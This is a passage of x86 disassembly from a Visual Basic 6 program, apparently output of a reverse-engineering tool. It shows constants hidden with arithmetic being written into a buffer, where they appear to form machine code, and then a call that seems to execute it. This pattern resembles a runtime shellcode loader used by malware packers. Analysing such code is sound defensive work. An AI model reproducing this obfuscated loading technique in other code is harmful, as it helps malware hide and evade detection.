mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0x3bf4ebf8
mov dword [ecx + eax + 4], 0x7520247c
mov eax, 0xdba5741f
neg eax
mov ecx, 0x749922fc
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x9d
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
mov eax, 0xa574b4f4
neg eax
mov ecx, 0x7422fce3
adc ecx, 0
neg ecx
push 8
pop edx
imul edx, edx, 0x9e
mov esi, dword [ebp - 0x44]
mov dword [esi + edx], eax
mov dword [esi + edx + 4], ecx
push 8
pop eax
imul eax, eax, 0x9f
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xc5038b04
mov dword [ecx + eax + 4], 0x595b5e5f
push 8
pop eax
imul eax, eax, 0xa0
mov ecx, dword [ebp - 0x44]
mov dword [ecx + eax], 0xc3c35d5a
and dword [ecx + eax + 4], 0
push dword [ebp - 0x44]
call sub.MSVBVM60.DLL_VarPtr
mov dword [ebp - 0x8c], eax
push dword [ebp - 0x1c]
call sub.MSVBVM60.DLL_VarPtr
mov dword [ebp - 0x90], eax
mov eax, dword [ebp + 0x10]
push dword [eax]
lea eax, [ebp - 0x84]
push eax
call sub.MSVBVM60.DLL___vbaAryLock
mov eax, dword [ebp - 0x84]
xor ecx, ecx
sub ecx, dword [eax + 0x14]
mov eax, dword [ebp - 0x84]
mov eax, dword [eax + 0xc]
add eax, ecx
push eax
call sub.MSVBVM60.DLL_VarPtr
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x84]
push eax
call sub.MSVBVM60.DLL___vbaAryUnlock
push 0
push 0
push dword [ebp - 0x88]
push dword [ebp - 0x90]
push dword [ebp - 0x8c]
call fcn.0040dcb0
call sub.MSVBVM60.DLL___vbaSetSystemError
push 0x4161cc
jmp 0x416134
lea ecx, [ebp - 0x18]
call sub.MSVBVM60.DLL___vbaFreeStr
lea ecx, [ebp - 0x1c]
call sub.MSVBVM60.DLL___vbaFreeStr
lea ecx, [ebp - 0x20]
call sub.MSVBVM60.DLL___vbaFreeStr
lea ecx, [ebp - 0x24]
call sub.MSVBVM60.DLL___vbaFreeStr
lea ecx, [ebp - 0x28]
call sub.MSVBVM60.DLL___vbaFreeStr
lea ecx, [ebp - 0x2c]
call sub.MSVBVM60.DLL___vbaFreeStr
lea ecx, [ebp - 0x30]
call sub.MSVBVM60.DLL___vbaFreeStr
lea ecx, [ebp - 0x34]
call sub.MSVBVM60.DLL___vbaFreeStr
lea ecx, [ebp - 0x38]
call sub.MSVBVM60.DLL___vbaFreeStr
lea eax, [ebp - 0x50]
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x88]
push eax
push 0
call sub.MSVBVM60.DLL___vbaAryDestruct
lea ecx, [ebp - 0x58]
call sub.MSVBVM60.DLL___vbaFreeStr
lea ecx, [ebp - 0x5c]
call sub.MSVBVM60.DLL___vbaFreeStr
lea ecx, [ebp - 0x60]
call sub.MSVBVM60.DLL___vbaFreeStr
lea ecx, [ebp - 0x74]
call sub.MSVBVM60.DLL___vbaFreeStr
lea ecx, [ebp - 0x78]
call sub.MSVBVM60.DLL___vbaFreeStr
lea ecx, [ebp - 0x7c]
call sub.MSVBVM60.DLL___vbaFreeStr
lea ecx, [ebp - 0x80]
call sub.MSVBVM60.DLL___vbaFreeStr
ret